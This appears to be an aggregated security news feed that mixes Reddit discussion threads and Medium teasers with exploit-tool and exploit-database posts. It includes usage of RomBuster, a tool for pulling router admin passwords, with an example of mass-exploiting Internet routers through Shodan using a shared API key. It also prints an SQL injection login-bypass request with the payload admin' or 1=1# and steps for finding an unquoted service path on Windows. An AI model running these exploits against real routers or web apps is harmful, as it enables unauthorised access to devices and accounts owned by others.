Hacking on Medium
Ethical Hacking: Vulnerability Analysis — Notes

https://cdn-images-1.medium.com/max/2600/1*_GaMi6fpDPa6pi3y7Os5Fg.jpeg
This article is a collection of my personal notes taken while attending the courses entitled: Ethical Hacking: Vulnerability Analysis.

Continue reading on Medium »

KitPloit - PenTest Tools!
RomBuster - A Router Exploitation Tool That Allows To Disclosure Network Router Admin Password

https://1.bp.blogspot.com/--diL6TQbwUM/YND0_VNPE3I/AAAAAAAAc4Y/dRkFOFJub3kZalWmR47qhz3illsqPYEUQCNcBGAsYHQ/w640-h434/router_pass.jpg RomBuster is a router exploitation tool that allows to disclosure network router admin password. Features* Exploits vulnerabilities in most popular routers such as D-Link, Zyxel, TP-Linkand Huawei.
* Optimized to exploit multiple routers at one time from list with threading enabled.
* Simple CLI and API usage. Installationpip3 install git+https://github.com/EntySec/RomBusterBasic usageTo use RomBuster just type rombusterin your terminal.

exploitation tool that allows to disclosure network router admin password. optional arguments: -h, --help show this help message and exit -t, --threads Use threads for fastest work. -o OUTPUT, --output OUTPUT Output result to file. -i INPUT, --input INPUT Input file of addresses. -a ADDRESS, --address ADDRESS Single address. --shodan SHODAN Shodan API key for exploiting devices over Internet. --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. -p PAGES, --pages PAGES Number of pages you want to get from ZoomEye. ">usage: rombuster [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
[--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

RomBuster is a router exploitation tool that allows to disclosure network
router admin password.

optional arguments:
-h, --help show this help message and exit
-t, --threads Use threads for fastest work.
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye. ExamplesExploiting single router

Let's hack my router just for fun. rombuster -a 192.168.99.1Exploiting routers from Internet

Let's try to use Shodan search engine to exploit routers over Internet, we will use it with -tfor fast exploitation. rombuster -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgDNOTE: Given Shodan API key (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) is my PRO API key, you can use this key or your own, be free to use all our resources for free :)

Exploiting routers from input file

Let's try to use opened database of routers with -tfor fast exploitation. rombuster -t -i routers.txt -o passwords.txtNOTE: It will exploit all routers in routers.txtlist by their addresses and save all obtained passwords to passwords.txt. API usageRomBuster also has their own Python API that can be invoked by importing RomBuster to your code. from rombuster import RomBusterBasic functionsThere are all RomBuster basic functions that can be used to exploit specified router.

* exploit(address)- Exploit single router by given address. ExamplesExploiting single router from rombuster import RomBuster

rombuster = RomBuster()
creds = rombuster.exploit('192.168.99.100')

print(creds)Download RomBuster

HackTheBox or TryHackMe ?
https://www.reddit.com/r/Pentesting/comments/o7pq31/hackthebox_or_tryhackme/

<!-- SC_OFF -->I am curious about your opinions of these two, since I've heard some negativity about THM's support and ethics. That said, my goal is to break into the cyber security industry. I'm already studying for OSCP as I've used Kali for years, but I do lack lab environments / training. BTW, I have 25 years of IT experience. I was a Unix admin in the 90s, and spent 20+ years with Linux, and Cisco networking. My goal is to use that foundational knowledge, learn what's required for OSCP, and have a sandbox / lab I can use. Would HTB or THM be suitable? Would you choose one over the other? <!-- SC_ON --> submitted by /u/DuskThaw (https://www.reddit.com/user/DuskThaw)
[link] (https://www.reddit.com/r/Pentesting/comments/o7pq31/hackthebox_or_tryhackme/) [comments] (https://www.reddit.com/r/Pentesting/comments/o7pq31/hackthebox_or_tryhackme/)

hacking: security in practice
Your definition of hacking?

I would like to hear everybody's definition of hacking because I feel like the word is used very loosely and I want to know what this community considers it to be.

submitted by /u/Mouthybard25364
[link] [comments]

hacking: security in practice
Microsoft Azure Fundamentals (AZ-900) Free Training - Will Cover Full Course

Howdy everyone,

I'm doing free training on the Microsoft Azure Fundamentals Course (AZ-900). Will also be covering other Microsoft courses as well as courses from other vendors.

I will be covering the full AZ-900 course and my intention is to do this with other courses too. Really hoping this helps someone out there. This should be more than enough to be able to pass the Microsoft International Certification Exam and should also prove useful in the workplace for those that just want to learn more or those that need to troubleshoot something.

In case someone wants to point out that the AZ-900 specifically is also delivered for Free by Microsoft, yes I'm fully aware of that. You do however normally need to book that and can only attend on certain times. It also comes down to preference. Some people just connect better with other people's way of presenting something.

Have a look at my way of delivering and if you don't like it, well then don't watch it lol. I normally tend to go the extra mile with the topics. I don't just explain the theory you need to know for the exam but I also add a little extra. I also cover most topics practically by actually demonstrating them on the Microsoft Azure portal. :)

Enjoy!

Free Microsoft Azure AZ-900 Training!

submitted by /u/FunkyMonkey1360
[link] [comments]

Bypass go BRAAAAAAAAAA !!!!!

Hello to everyone, I hope you all are well in this pandemic.Continue reading on Medium »
Read more...

Bypass go BRAAAAAAAAAA !!!!!
https://lnxcs.medium.com/bypass-go-braaaaaaaaaa-e6cf656148e8?source=rss------bug_bounty-5

Hello to everyone, I hope you all are well in this pandemic.Continue reading on Medium » (https://lnxcs.medium.com/bypass-go-braaaaaaaaaa-e6cf656148e8?source=rss------bug_bounty-5)

Exploit Collector
JNLP Injection To Multi-OS Code Execution

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
Whitepaper discussing BIZARRELOVETRIANGLE and FULLCLIP - JNLP parameter injection attacks to remote, persistent, multi-os code execution.

MD5 | 3cd80632607e5fe52441faab30881494

Download
Source:packetstormsecurity.com

Exploit Collector
Simple Client Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
Simple Client Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 116a4b2bb22e3a0fa3b71578facd6011

Download
# Exploit Title: Simple Client Management System 1.0 - 'uemail' SQL Injection (Unauthenticated)
# Date: 24-06-2021
# Exploit Author: Barış Yıldızoğlu
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/client-details.zip
# Version: 1.0
# Tested on: Windows 10 Home 64 Bit + Wampserver Version 3.2.3

Request:

POST /client%20details/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1 /client%20details/index.php
Cookie: PHPSESSID=86klv32pm6nvt60qtli6peonod
Upgrade-Insecure-Requests: 1

uemail={Payload Here}&password=&login=LOG+IN
# Proof of Concept:
Payload: admin' or 1=1#

Source:packetstormsecurity.com

Exploit Collector
Online Pet Shop We App 1.0 SQL Injection / Shell Upload

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Online Pet Shop We App version 1.0 suffers from remote SQL injection and shell upload vulnerabilities.

MD5 | c011359f21acb9342fc6db0b0ddfa0be

Download
Source:packetstormsecurity.com

Exploit Collector
SAPSprint 7.60 Unquoted Service Path

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
SAPSprint version 7.60 suffers from an unquoted service path vulnerability.

MD5 | ae47ef8f34c49cafe177bc1f46014831

Download
# Exploit Title: SAPSprint 7.60 - 'SAPSprint' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 21-06-2021
# Vendor Homepage: https://brother.com/
# Tested Version: 7.60
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

SAPSprint SAPSprint C:\Program Files\SAP\SAPSprint\sapsprint.exe Auto

C:\>sc qc SAPSprint
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SAPSprint
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME: C:\Program Files\SAP\SAPSprint\sapsprint.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SAPSprint
DEPENDENCIES : Spooler
SERVICE_START_NAME: LocalSystem

Source:packetstormsecurity.com